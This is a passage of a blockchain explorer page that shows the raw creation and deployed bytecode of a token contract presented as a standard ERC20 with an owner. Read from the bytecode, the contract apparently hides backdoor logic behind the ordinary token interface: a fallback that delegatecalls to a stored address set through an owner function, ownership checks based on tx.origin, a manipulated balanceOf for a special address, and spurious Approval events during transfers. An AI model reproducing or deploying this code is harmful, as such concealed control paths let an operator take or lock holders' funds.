5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90611e20565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cfd919061155e565b60405180910390a3505050565b5f610d1584846109cf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d8f5781811015610d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7890611e88565b60405180910390fd5b610d8e8484848403610b47565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611f16565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e6b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190611fa4565b60405180910390fd5b610eb5838383611228565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f309061200c565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f85919061202a565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fd891906118a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103c919061155e565b60405180910390a361104f84848461122d565b50505050565b333055565b5f8073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a0823160045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016110be91906113ad565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161110c91906120a1565b5f60405180830381855afa9150503d805f8114611144576040519150601f19603f3d011682016040523d82523d5f602084013e611149565b606091505b509150508080602001905181019061116191906120cb565b91505090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461123c91906120f6565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115611289575f602055611369565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054108015611324575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136857805f5230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560205fa361270f54828161271001558060010161270f55505b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113978261136e565b9050919050565b6113a78161138d565b82525050565b5f6020820190506113c05f83018461139e565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113fd5780820151818401526020810190506113e2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611422826113c6565b61142c81856113d0565b935061143c8185602086016113e0565b61144581611408565b840191505092915050565b5f6020820190508181035f8301526114688184611418565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b61148a8161138d565b8114611494575f80fd5b50565b5f813590506114a581611481565b92915050565b5f819050919050565b6114bd816114ab565b81146114c7575f80fd5b50565b5f813590506114d8816114b4565b92915050565b5f80604083850312156114f4576114f3611479565b5b5f61150185828601611497565b9250506020611512858286016114ca565b9150509250929050565b5f8115159050919050565b6115308161151c565b82525050565b5f6020820190506115495f830184611527565b92915050565b611558816114ab565b82525050565b5f6020820190506115715f83018461154f565b92915050565b5f805f6060848603121561158e5761158d611479565b5b5f61159b86828701611497565b93505060206115ac86828701611497565b92505060406115bd868287016114ca565b9150509250925092565b5f60ff82169050919050565b6115dc816115c7565b82525050565b5f6020820190506115f55f8301846115d3565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61163982611408565b810181811067ffffffffffffffff8211171561165857611657611603565b5b80604052505050565b5f61166a611470565b90506116768282611630565b919050565b5f67ffffffffffffffff82111561169557611694611603565b5b61169e82611408565b9050602081019050919050565b828183375f83830152505050565b5f6116cb6116c68461167b565b611661565b9050828152602081018484840111156116e7576116e66115ff565b5b6116f28482856116ab565b509392505050565b5f82601f83011261170e5761170d6115fb565b5b813561171e8482602086016116b9565b91505092915050565b5f805f6060848603121561173e5761173d611479565b5b5f84013567ffffffffffffffff81111561175b5761175a61147d565b5b611767868287016116fa565b935050602084013567ffffffffffffffff8111156117885761178761147d565b5b611794868287016116fa565b92505060406117a5868287016114ca565b9150509250925092565b5f602082840312156117c4576117c3611479565b5b5f6117d184828501611497565b91505092915050565b5f80604083850312156117f0576117ef611479565b5b5f6117fd85828601611497565b925050602061180e85828601611497565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061185c57607f821691505b60208210810361186f5761186e611818565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118ac826114ab565b91506118b7836114ab565b92508282019050808211156118cf576118ce611875565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119096020836113d0565b9150611914826118d5565b602082019050919050565b5f6020820190508181035f830152611936816118fd565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026119997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261195e565b6119a3868361195e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6119de6119d96119d4846114ab565b6119bb565b6114ab565b9050919050565b5f819050919050565b6119f7836119c4565b611a0b611a03826119e5565b84845461196a565b825550505050565b5f90565b611a1f611a13565b611a2a8184846119ee565b505050565b5b81811015611a4d57611a425f82611a17565b600181019050611a30565b5050565b601f821115611a9257611a638161193d565b611a6c8461194f565b81016020851015611a7b578190505b611a8f611a878561194f565b830182611a2f565b50505b505050565b5f82821c905092915050565b5f611ab25f1984600802611a97565b1980831691505092915050565b5f611aca8383611aa3565b9150826002028217905092915050565b611ae3826113c6565b67ffffffffffffffff811115611afc57611afb611603565b5b611b068254611845565b611b11828285611a51565b5f60209050601f831160018114611b42575f8415611b30578287015190505b611b3a8582611abf565b865550611ba1565b601f198416611b508661193d565b5f5b82811015611b7757848901518255600182019150602085019450602081019050611b52565b86831015611b945784890151611b90601f891682611aa3565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611be0826114ab565b9150611beb836114ab565b925082611bfb57611bfa611ba9565b5b828206905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611c606025836113d0565b9150611c6b82611c06565b604082019050919050565b5f6020820190508181035f830152611c8d81611c54565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611cee6026836113d0565b9150611cf982611c94565b604082019050919050565b5f6020820190508181035f830152611d1b81611ce2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d7c6024836113d0565b9150611d8782611d22565b604082019050919050565b5f6020820190508181035f830152611da981611d70565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e0a6022836113d0565b9150611e1582611db0565b604082019050919050565b5f6020820190508181035f830152611e3781611dfe565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611e72601d836113d0565b9150611e7d82611e3e565b602082019050919050565b5f6020820190508181035f830152611e9f81611e66565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611f006025836113d0565b9150611f0b82611ea6565b604082019050919050565b5f6020820190508181035f830152611f2d81611ef4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f8e6023836113d0565b9150611f9982611f34565b604082019050919050565b5f6020820190508181035f830152611fbb81611f82565b9050919050565b7f45524332303a207472616e7366657220657863656564732062616c616e6365005f82015250565b5f611ff6601f836113d0565b915061200182611fc2565b602082019050919050565b5f6020820190508181035f83015261202381611fea565b9050919050565b5f612034826114ab565b915061203f836114ab565b925082820390508181111561205757612056611875565b5b92915050565b5f81519050919050565b5f81905092915050565b5f61207b8261205d565b6120858185612067565b93506120958185602086016113e0565b80840191505092915050565b5f6120ac8284612071565b915081905092915050565b5f815190506120c5816114b4565b92915050565b5f602082840312156120e0576120df611479565b5b5f6120ed848285016120b7565b91505092915050565b5f612100826114ab565b915061210b836114ab565b9250828202612119816114ab565b915082820484148315176121305761212f611875565b5b509291505056fea26469706673582212207af1c57770b4637b6cc17f61a09e7ec1dc8457ae88e82d096f2c3ac5b0c9a7a064736f6c63430008140033

Deployed Bytecode

0x608060405260043610610101575f3560e01c806370a082311161009457806395d89b411161006357806395d89b411461038c578063a457c2d7146103b6578063a9059cbb146103f2578063dd62ed3e1461042e578063f2fde38b1461046a57610108565b806370a08231146102e6578063715018a6146103225780638da5cb5b146103385780638dd950021461036257610108565b806323b872dd116100d057806323b872dd1461021c578063313ce5671461025857806339509351146102825780635921f00e146102be57610108565b806303fd2a451461016257806306fdde031461018c578063095ea7b3146101b657806318160ddd146101f257610108565b3661010857005b348015610113575f80fd5b506101605f368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050610492565b005b34801561016d575f80fd5b506101766104be565b60405161018391906113ad565b60405180910390f35b348015610197575f80fd5b506101a06104c4565b6040516101ad9190611450565b60405180910390f35b3480156101c1575f80fd5b506101dc60048036038101906101d791906114de565b610554565b6040516101e99190611536565b60405180910390f35b3480156101fd575f80fd5b50610206610576565b604051610213919061155e565b60405180910390f35b348015610227575f80fd5b50610242600480360381019061023d9190611577565b61057f565b60405161024f9190611536565b60405180910390f35b348015610263575f80fd5b5061026c6105ad565b60405161027991906115e2565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a391906114de565b6105b5565b6040516102b59190611536565b60405180910390f35b3480156102c9575f80fd5b506102e460048036038101906102df9190611727565b6105eb565b005b3480156102f1575f80fd5b5061030c600480360381019061030791906117af565b61068d565b604051610319919061155e565b60405180910390f35b34801561032d575f80fd5b506103366107e9565b005b348015610343575f80fd5b5061034c610869565b60405161035991906113ad565b60405180910390f35b34801561036d575f80fd5b50610376610890565b60405161038391906113ad565b60405180910390f35b348015610397575f80fd5b506103a06108a8565b6040516103ad9190611450565b60405180910390f35b3480156103c1575f80fd5b506103dc60048036038101906103d791906114de565b610938565b6040516103e99190611536565b60405180910390f35b3480156103fd575f80fd5b50610418600480360381019061041391906114de565b6109ad565b6040516104259190611536565b60405180910390f35b348015610439575f80fd5b50610454600480360381019061044f91906117da565b6109cf565b604051610461919061155e565b60405180910390f35b348015610475575f80fd5b50610490600480360381019061048b91906117af565b610a51565b005b60206028820151036104bb5760205f60048351036024840130545af46104b6575f80fd5b60205ff35b50565b61dead81565b6060600580546104d390611845565b80601f01602080910402602001604051908101604052809291908181526020018280546104ff90611845565b801561054a5780601f106105215761010080835404028352916020019161054a565b820191905f5260205f20905b81548152906001019060200180831161052d57829003601f168201915b5050505050905090565b5f8061055e610b40565b905061056b818585610b47565b600191505092915050565b5f600354905090565b5f80610589610b40565b9050610596858285610d0a565b6105a1858585610d95565b60019150509392505050565b5f6009905090565b5f806105bf610b40565b90506105e08185856105d185896109cf565b6105db91906118a2565b610b47565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff1661060a610869565b73ffffffffffffffffffffffffffffffffffffffff1614610660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106579061191f565b60405180910390fd5b816006908161066f9190611ada565b50826005908161067f9190611ada565b50610688611055565b505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036106fd575f6106eb61105a565b90506020548110156106fb575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107965760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506107e4565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e19190611bd6565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff16610808610869565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108559061191f565b60405180910390fd5b6108675f611167565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108b790611845565b80601f01602080910402602001604051908101604052809291908181526020018280546108e390611845565b801561092e5780601f106109055761010080835404028352916020019161092e565b820191905f5260205f20905b81548152906001019060200180831161091157829003601f168201915b5050505050905090565b5f80610942610b40565b90505f61094f82866109cf565b905083811015610994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098b90611c76565b60405180910390fd5b6109a18286868403610b47565b60019250505092915050565b5f806109b7610b40565b90506109c4818585610d95565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a70610869565b73ffffffffffffffffffffffffffffffffffffffff1614610ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abd9061191f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b90611d04565b60405180910390fd5b610b3d81611167565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90611d92565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90611e20565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cfd919061155e565b60405180910390a3505050565b5f610d1584846109cf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d8f5781811015610d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7890611e88565b60405180910390fd5b610d8e8484848403610b47565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611f16565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e6b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190611fa4565b60405180910390fd5b610eb5838383611228565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f309061200c565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f85919061202a565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fd891906118a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103c919061155e565b60405180910390a361104f84848461122d565b50505050565b333055565b5f8073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a0823160045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016110be91906113ad565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161110c91906120a1565b5f60405180830381855afa9150503d805f8114611144576040519150601f19603f3d011682016040523d82523d5f602084013e611149565b606091505b509150508080602001905181019061116191906120cb565b91505090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461123c91906120f6565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115611289575f602055611369565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054108015611324575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136857805f5230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560205fa361270f54828161271001558060010161270f55505b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113978261136e565b9050919050565b6113a78161138d565b82525050565b5f6020820190506113c05f83018461139e565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113fd5780820151818401526020810190506113e2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611422826113c6565b61142c81856113d0565b935061143c8185602086016113e0565b61144581611408565b840191505092915050565b5f6020820190508181035f8301526114688184611418565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b61148a8161138d565b8114611494575f80fd5b50565b5f813590506114a581611481565b92915050565b5f819050919050565b6114bd816114ab565b81146114c7575f80fd5b50565b5f813590506114d8816114b4565b92915050565b5f80604083850312156114f4576114f3611479565b5b5f61150185828601611497565b9250506020611512858286016114ca565b9150509250929050565b5f8115159050919050565b6115308161151c565b82525050565b5f6020820190506115495f830184611527565b92915050565b611558816114ab565b82525050565b5f6020820190506115715f83018461154f565b92915050565b5f805f6060848603121561158e5761158d611479565b5b5f61159b86828701611497565b93505060206115ac86828701611497565b92505060406115bd868287016114ca565b9150509250925092565b5f60ff82169050919050565b6115dc816115c7565b82525050565b5f6020820190506115f55f8301846115d3565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61163982611408565b810181811067ffffffffffffffff8211171561165857611657611603565b5b80604052505050565b5f61166a611470565b90506116768282611630565b919050565b5f67ffffffffffffffff82111561169557611694611603565b5b61169e82611408565b9050602081019050919050565b828183375f83830152505050565b5f6116cb6116c68461167b565b611661565b9050828152602081018484840111156116e7576116e66115ff565b5b6116f28482856116ab565b509392505050565b5f82601f83011261170e5761170d6115fb565b5b813561171e8482602086016116b9565b91505092915050565b5f805f6060848603121561173e5761173d611479565b5b5f84013567ffffffffffffffff81111561175b5761175a61147d565b5b611767868287016116fa565b935050602084013567ffffffffffffffff8111156117885761178761147d565b5b611794868287016116fa565b92505060406117a5868287016114ca565b9150509250925092565b5f602082840312156117c4576117c3611479565b5b5f6117d184828501611497565b91505092915050565b5f80604083850312156117f0576117ef611479565b5b5f6117fd85828601611497565b925050602061180e85828601611497565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061185c57607f821691505b60208210810361186f5761186e611818565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118ac826114ab565b91506118b7836114ab565b92508282019050808211156118cf576118ce611875565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119096020836113d0565b9150611914826118d5565b602082019050919050565b5f6020820190508181035f830152611936816118fd565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026119997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261195e565b6119a3868361195e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6119de6119d96119d4846114ab565b6119bb565b6114ab565b9050919050565b5f819050919050565b6119f7836119c4565b611a0b611a03826119e5565b84845461196a565b825550505050565b5f90565b611a1f611a13565b611a2a8184846119ee565b505050565b5b81811015611a4d57611a425f82611a17565b600181019050611a30565b5050565b601f821115611a9257611a638161193d565b611a6c8461194f565b81016020851015611a7b578190505b611a8f611a878561194f565b830182611a2f565b50505b505050565b5f82821c905092915050565b5f611ab25f1984600802611a97565b1980831691505092915050565b5f611aca8383611aa3565b9150826002028217905092915050565b611ae3826113c6565b67ffffffffffffffff811115611afc57611afb611603565b5b611b068254611845565b611b11828285611a51565b5f60209050601f831160018114611b42575f8415611b30578287015190505b611b3a8582611abf565b865550611ba1565b601f198416611b508661193d565b5f5b82811015611b7757848901518255600182019150602085019450602081019050611b52565b86831015611b945784890151611b90601f891682611aa3565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611be0826114ab565b9150611beb836114ab565b925082611bfb57611bfa611ba9565b5b828206905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611c606025836113d0565b9150611c6b82611c06565b604082019050919050565b5f6020820190508181035f830152611c8d81611c54565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611cee6026836113d0565b9150611cf982611c94565b604082019050919050565b5f6020820190508181035f830152611d1b81611ce2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d7c6024836113d0565b9150611d8782611d22565b604082019050919050565b5f6020820190508181035f830152611da981611d70565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e0a6022836113d0565b9150611e1582611db0565b604082019050919050565b5f6020820190508181035f830152611e3781611dfe565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611e72601d836113d0565b9150611e7d82611e3e565b602082019050919050565b5f6020820190508181035f830152611e9f81611e66565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611f006025836113d0565b9150611f0b82611ea6565b604082019050919050565b5f6020820190508181035f830152611f2d81611ef4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f8e6023836113d0565b9150611f9982611f34565b604082019050919050565b5f6020820190508181035f830152611fbb81611f82565b9050919050565b7f45524332303a207472616e7366657220657863656564732062616c616e6365005f82015250565b5f611ff6601f836113d0565b915061200182611fc2565b602082019050919050565b5f6020820190508181035f83015261202381611fea565b9050919050565b5f612034826114ab565b915061203f836114ab565b925082820390508181111561205757612056611875565b5b92915050565b5f81519050919050565b5f81905092915050565b5f61207b8261205d565b6120858185612067565b93506120958185602086016113e0565b80840191505092915050565b5f6120ac8284612071565b915081905092915050565b5f815190506120c5816114b4565b92915050565b5f602082840312156120e0576120df611479565b5b5f6120ed848285016120b7565b91505092915050565b5f612100826114ab565b915061210b836114ab565b9250828202612119816114ab565b915082820484148315176121305761212f611875565b5b509291505056fea26469706673582212207af1c57770b4637b6cc17f61a09e7ec1dc8457ae88e82d096f2c3ac5b0c9a7a064736f6c63430008140033

Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.